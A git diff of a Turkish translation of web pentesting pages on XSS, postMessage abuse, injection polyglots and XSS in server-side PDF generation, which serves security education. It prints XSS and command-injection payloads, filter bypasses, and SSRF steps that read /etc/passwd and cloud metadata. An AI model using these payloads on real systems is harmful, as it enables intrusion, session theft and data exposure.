bulursanız bunları kendiniz denersiniz. Ayrıca burada **veritabanı enjeksiyonları** da bulamayacaksınız, çünkü bazı içerikler yansıtılsa bile bu, büyük ölçüde arka uç veritabanı teknolojisine ve yapısına bağlıdır. -## Polyglotlar listesi +## Polygloths list ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} @@ -91,7 +91,7 @@ $(ls) ## Dangling Markup ### Temel Testler -```markup +```html

THIS IS AND INJECTED TITLE

``` ## [Dosya Dahil Etme/Yol Traversali](../file-inclusion/index.html) @@ -127,17 +127,17 @@ javascript:alert(1) ([a-zA-Z]+)*$ ((a+)+)+$ ``` -## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md) +## [Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme](../server-side-inclusion-edge-side-inclusion-injection.md) ### Temel Testler -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ### Polyglotlar -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html) @@ -147,7 +147,7 @@ Open Redirect için kullanılan aynı testler burada da kullanılabilir. ## [Server Side Template Injection](../ssti-server-side-template-injection/index.html) ### Temel Testler -```markup +```html ${{<%[%'"}}%\ {{7*7}} ${7*7} @@ -162,24 +162,24 @@ ${{7*7}} ## [XSLT Sunucu Tarafı Enjeksiyonu](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### Temel Testler -```markup +```html ``` ### Polyglotlar -```markup +```html ``` ## XSS ### Temel Testler -```markup +```html " onclick=alert() a=" '"> javascript:alert() ``` ### Polyglotlar -```markup +```html javascript:"/*'/*`/*--> -->'"/>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index b83c530c3..c87c5243b 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -34,13 +34,13 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ``` Not edin ki **targetOrigin** bir '\*' veya _https://company.com_ gibi bir URL olabilir.\ **İkinci senaryoda**, **mesaj yalnızca o domaine gönderilebilir** (pencere nesnesinin kökeni farklı olsa bile).\ -Eğer **wildcard** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir. +Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir. -### iframe'leri hedef alma & **targetOrigin**'de wildcard +### iframe saldırısı & **targetOrigin**'de joker karakter -[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **wildcard** (\*) kullanarak **duyarlı** mesaj gönderiyorsa, **iframe**'in **origin**'ini **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\ -Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlandıysa ve wildcard'a değilse**, bu **numara çalışmayacaktır**. -```markup +[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **joker karakter** (\*) kullanarak **duyarlı** mesaj gönderiyorsa, **iframe**'in **kökenini** **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\ +Sayfanın iframed olabileceğini ancak **targetOrigin**'in **bir URL'ye ve joker karaktere ayarlanmadığını** not edin, bu **numara çalışmayacaktır**. +```html \\")) result.message // "'"\" ``` -Bu zayıflık bağlamında, `File` nesnesi, yalnızca okunabilir `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar. +Bu zayıflık bağlamında, `File` nesnesi, salt okunur `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar. -- JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulamasına olanak tanır. +- JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır. ### e.origin == window.origin atlaması -Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox özellikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir. +Bir web sayfasını %%%%%% kullanarak **sandboxed iframe** içinde gömülü hale getirirken, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox özellikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir. -**`allow-popups`** özelliğini sandbox niteliğinde belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir. +**`allow-popups`** sandbox niteliğinde belirtilerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir. -Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye bir mesaj gönderildiğinde **`postMessage`** kullanılarak, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru değerlendirilmesine yol açar (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır. +Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru olduğu bir senaryo oluşturur (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır. Daha fazla bilgi için **okuyun**: @@ -158,8 +158,8 @@ bypassing-sop-with-iframes-2.md ### X-Frame-Header atlatma Bu saldırıları gerçekleştirmek için ideal olarak **kurban web sayfasını** bir `iframe` içine alabilmeniz gerekir. Ancak `X-Frame-Header` gibi bazı başlıklar bu **davranışı** **engelleyebilir**.\ -Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Gü vulnerable web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz: -```markup +Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Zayıf noktası olan web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz: +```html `** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır: -- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırması ve ardından içeriği işlemesi nedeniyle çalışır, bu nedenle enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. -- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır): +- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. +- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son numara çalışmıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -83,7 +83,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\ +Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımsız değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\ **Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** {{#ref}} @@ -98,7 +98,7 @@ Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalı ![](<../../images/image (711).png>) -Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, rakamlar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır. +Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) kullanmasına izin vermesi oldukça yaygındır. Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**: @@ -124,7 +124,7 @@ some-same-origin-method-execution.md ### DOM -**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir. +**JS kodu**, **bir saldırgan tarafından kontrol edilen** bazı **verileri** **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir. {{#ref}} dom-xss.md @@ -132,7 +132,7 @@ dom-xss.md ### **Evrensel XSS** -Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** hatta **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** gibi istismar edilebilir ve daha fazlası.\ +Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi**, **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\ Bazı **örnekler**: {{#ref}} @@ -143,15 +143,15 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF atlatma kodlama resmi +## WAF atlatma kodlaması resmi ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Ham HTML içinde enjekte etme Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\ -Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\ -_**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_ +Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\ +_**Not: Bir HTML yorumu, \*\*\*\*\*\***\***\*`-->`\*\***\***\* veya \*\*\*\*\*\***`--!>`\*\** ile kapatılabilir._ Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz: ```html @@ -162,15 +162,15 @@ alert(1) ``` Ancak, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\ -Hangi etiketlerin izin verildiğini **bulduktan** sonra, bulunan geçerli etiketler içinde **özellikler/olaylar** brute-force yaparak bağlamı nasıl saldırıya uğratabileceğinizi görmeniz gerekecek. +Hangi etiketlerin izin verildiğini **bulduktan** sonra, bulunan geçerli etiketler içinde **özellikler/olayları brute-force** etmeniz gerekecek, böylece bağlamı nasıl saldırıya uğratabileceğinizi görebilirsiniz. ### Etiketler/Olaylar brute-force -[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute force** yapabilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin). +[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin). ### Özel etiketler -Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` niteliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanacak** ve kodu **çalıştıracaktır**: +Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**: ``` /?search=#x ``` @@ -228,29 +228,29 @@ onerror=alert`1` ``` ### Length bypass (small XSSs) -> [!NOTE] > **Farklı ortamlar için daha küçük XSS'ler** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me). +> [!NOTE] > **Farklı ortamlar için daha fazla küçük XSS** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me). ```html ` değil) **kullanılabilir**. -```markup +```html
@@ -351,17 +351,17 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML ```javascript
``` -Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.** +Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçış** yapmanız gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.** ```javascript '-alert(1)-' %27-alert(1)-%27 ``` -Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için denerseniz, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**. +Not edin ki **payload**'ı kodlamak için herhangi bir sırayla **URLencode + HTMLencode** kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde bunları **karıştırabilirsiniz**. **`javascript:` ile Hex ve Octal kodlama kullanma** -**Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **JS çalıştırmak için HTML etiketleri** tanımlamak amacıyla kullanabilirsiniz: +**HTML etiketlerini JS çalıştırmak için** `iframe`'in `src` niteliği içinde (en azından) **Hex** ve **Octal kodlama** kullanabilirsiniz: ```javascript //Encoded: // This WORKS @@ -423,14 +423,14 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` [**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör: -```markup +```html ``` **XSS yükü şöyle bir şey olacak: `" accesskey="x" onclick="alert(1)" x="`** -### Kara Liste Aşmaları +### Kara Liste Atlatmaları -Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Geri dönüp nerelerde kullanabileceğinizi öğrenin:** +Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmuştur. **Nereye kullanabileceğinizi öğrenmek için geri dönün:** - **HTML kodlama (HTML etiketleri)** - **Unicode kodlama (geçerli JS kodu olabilir):** `\u0061lert(1)` @@ -438,19 +438,19 @@ Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. ** - **Hex ve Oktal kodlama** - **veri kodlama** -**HTML etiketleri ve öznitelikler için aşmalar** +**HTML etiketleri ve öznitelikleri için atlatmalar** -[Önceki bölümdeki Kara Liste Aşmalarını](#blacklist-bypasses) okuyun. +[Önceki bölümün Kara Liste Atlatmalarını](#blacklist-bypasses) okuyun. -**JavaScript kodu için aşmalar** +**JavaScript kodu için atlatmalar** -[Aşağıdaki bölümdeki JavaScript bypass kara listesini](#javascript-bypass-blacklists-techniques) okuyun. +[Aşağıdaki bölümün JavaScript atlatma kara listesini](#javascript-bypass-blacklists-techniques) okuyun. ### CSS-Aletleri -Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı **alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz. +Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz. -Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` +Örneğin, öğeye şu şekilde bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Aletlerini kullanabilirsiniz, bu yüzden eğer örneğin @@ -460,7 +460,7 @@ ve > \#someid {top: 0; font-family: Tahoma;} -bulursanız, bağlantınızı şu forma getirebilirsiniz +bulursanız, bağlantımızı şu forma getirebilirsiniz > \
@@ -468,19 +468,19 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x ## JavaScript kodu içine enjekte etme -Bu durumda **girdi** JS kodunun bir `.js` dosyasına veya `` etiketleri arasına veya JS kodunu çalıştırabilen HTML olayları arasına veya `javascript:` protokolünü kabul eden öznitelikler arasına **yansıtılacaktır**. +Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**. ### \` içinde yer alıyorsa, `` içinde yer alıyorsa, ` ``` -Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve çalıştırmak için ayrıştırılması ancak sonrasında gerçekleştirilir. +Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir. ### JS kodu içinde -Eğer `<>` temizleniyorsa, **girdiğiniz yerin** **string'ini kaçırabilir** ve **rastgele JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu çalıştırılmaz: +Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -496,15 +496,15 @@ Bu, şu şekilde **kötüye kullanılabilir**: ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` -```````````````javascript +```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } -loop`````````````` -``````````````` +loop`` +``` ### Kodun kodlanmış yürütülmesi -```markup +```html @@ -35,8 +35,8 @@ Ayrıca, normal bir istismar durumunda oluşturulan PDF'yi **görebilir/indirebi ``` ### SVG -Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri de meta veri uç noktasına erişim sağlamak için örnek olarak verilmiştir. -```markup +Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri ise meta veri uç noktasına erişim sağlamak için örnek olarak verilmiştir. +```html @@ -63,7 +63,7 @@ alert(1); Birçok **diğer SVG yüklemesi** bulabilirsiniz [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ### Yol ifşası -```markup +```html @@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing --> ### Yükleme harici bir betik Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kontrol ettiğiniz bir betiği yüklemesini sağlamak için açığı kötüye kullanmaktır. Böylece, yüklenen yükü yerel olarak değiştirebilir ve botun her seferinde aynı kodla yüklemesini sağlayabilirsiniz. -```markup +```html ')"/> ``` @@ -81,8 +81,8 @@ Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kon > [!WARNING] > `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` gibi bir şey değiştirin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**. > -> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adı veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md). -```markup +> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md). +```html ``` -```markup +```html ``` -```markup +```html @@ -112,11 +112,11 @@ xhzeem.send(); ``` -```markup +```html ``` ### Bot gecikmesi -```markup +```html